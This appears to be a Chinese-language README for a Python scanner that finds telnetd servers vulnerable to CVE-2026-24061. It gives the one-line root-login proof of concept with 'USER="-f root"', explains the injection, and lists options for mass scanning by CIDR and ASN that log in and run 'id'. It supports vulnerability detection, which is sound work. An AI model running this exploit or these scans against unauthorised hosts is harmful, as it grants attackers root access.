一个强大、快速且优雅的扫描器,用于检测受 CVE-2026-24061 影响的易受攻击的 Telnetd 服务。使用纯 Python 标准库构建——零外部依赖。
CVE-2026-24061 是 GNU InetUtils Telnetd 中的一个严重身份验证绕过漏洞,攻击者可通过利用 NEW-ENVIRON 选项处理机制,在未经身份验证的情况下远程获取 root 权限。
以下是目标主机端的 Telnetd 服务配置。
以下是此漏洞的概念验证(PoC),可在攻击者主机上手动执行,只需运行命令 USER="-f root" telnet -a <TARGET_HOST> 23 即可。
该漏洞利用 telnet NEW-ENVIRON(RFC 1572) 选项协商中对 USER 环境变量的不当验证,允许攻击者注入诸如 -f root 之类的恶意值以绕过身份验证。
9.8(严重) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H。
# 克隆仓库
cd /opt
sudo git clone https://github.com/madfxr/Twenty-Three-Scanner.git
cd Twenty-Three-Scanner
# 赋予可执行权限
sudo chmod +x twenty-three-scanner.py
# 运行脚本
sudo python3 twenty-three-scanner.py -h
以下是 Twenty-Three Scanner 工具的手册,可用于检测漏洞 CVE-2026-24061 - GNU InetUtils Telnetd 远程身份验证绕过。
usage: python3 twenty-three-scanner.py [-h] [-t TARGET] [-f FILE] [-a ASN] [-p PORT] [--threads N] [--user-value VALUE] [--connect-timeout SEC] [--read-timeout SEC] [--id-timeout SEC]
[--max-hosts-per-cidr N] [--max-total-hosts N] [--skip-large-networks] [-o FILE] [-v]
CVE-2026-24061 - GNU InetUtils Telnetd 远程身份验证绕过
options:
-h, --help 显示此帮助信息并退出
目标选项:
-t TARGET, --target TARGET
目标 IP、CIDR 或逗号分隔列表(可多次使用)
-f FILE, --file FILE 包含目标的文件(每行一个,支持 # 注释)
-a ASN, --asn ASN 自治系统编号(例如,AS10111 或 10111)
扫描选项:
-p PORT, --port PORT 目标端口,逗号分隔(默认:23)
--threads N 并发线程数(默认:50)
--user-value VALUE 用于漏洞利用的 USER 环境变量值(默认:'-f root')
超时选项:
--connect-timeout SEC
TCP 连接超时时间(秒)(默认:3.0)
--read-timeout SEC 套接字读取超时时间(秒)(默认:2.0)
--id-timeout SEC 'id' 命令响应超时时间(秒)(默认:2.0)
限制选项:
--max-hosts-per-cidr N
每个 CIDR 块的最大扫描主机数(默认:1024)
--max-total-hosts N 所有目标的最大主机总数(默认:50000)
--skip-large-networks
跳过大于 /16 的网络(避免意外扫描超大范围)
输出选项:
-o FILE, --output FILE
将易受攻击的主机保存到文件(格式:IP:PORT)
-v, --verbose 启用详细调试日志
以下是一些命令使用示例。
# 扫描单个 IP 地址和单个端口
sudo python3 twenty-three-scanner.py -t 10.0.0.23 -p 23
# 扫描单个 IP 地址和多个端口
sudo python3 twenty-three-scanner.py -t 10.0.0.23 -p 23,2323
# 扫描多个 IP 地址和单个端口
sudo python3 twenty-three-scanner.py -t 10.0.0.23,10.0.23.23 -p 23
# 扫描多个地址和多个端口
sudo python3 twenty-three-scanner.py -t 10.0.0.23,10.0.23.23 -p 23,2323
# 扫描 CIDR 范围和单个端口并保存结果
sudo python3 twenty-three-scanner.py -t 192.168.23.0/23 -p 23 -o results.txt
# 扫描 CIDR 范围和多个端口并保存结果
sudo python3 twenty-three-scanner.py -t 192.168.23.0/23 -p 23,2323 -o results.txt
# 从文件扫描单个 IP 地址、多个地址或 CIDR 范围,以及单个端口,使用自定义线程和输出
sudo python3 twenty-three-scanner.py -f targets.txt -p 23 --threads 100 -o output.txt
# 从文件扫描单个 IP 地址、多个地址或 CIDR 范围,以及多个端口,使用自定义线程和输出
sudo python3 twenty-three-scanner.py -f targets.txt -p 23,2323 --threads 100 -o output.txt
# 扫描 ASN 和单个端口,使用自定义线程
sudo python3 twenty-three-scanner.py -a 10111 -p 23 --threads 100
sudo python3 twenty-three-scanner.py -a AS10111 -p 23 --threads 100
# 扫描 ASN 和多个端口,使用自定义线程
sudo python3 twenty-three-scanner.py -a 10111 -p 23,2323 --threads 100
sudo python3 twenty-three-scanner.py -a AS10111 -p 23,2323 --threads 100
# 扫描 ASN,使用自定义限制和自定义线程
sudo python3 twenty-three-scanner.py -a 10111 --max-hosts-per-cidr 2048 --threads 100
sudo python3 twenty-three-scanner.py -a AS10111 --max-hosts-per-cidr 2048 --threads 100
使用多个端口扫描单个 IP 地址。
使用单个端口扫描多个 IP 地址。
使用单个端口扫描 CIDR 范围。
使用多个端口扫描 ASN。
从文件扫描单个 IP 地址、多个地址或 CIDR 范围,以及单个端口,使用自定义线程和输出。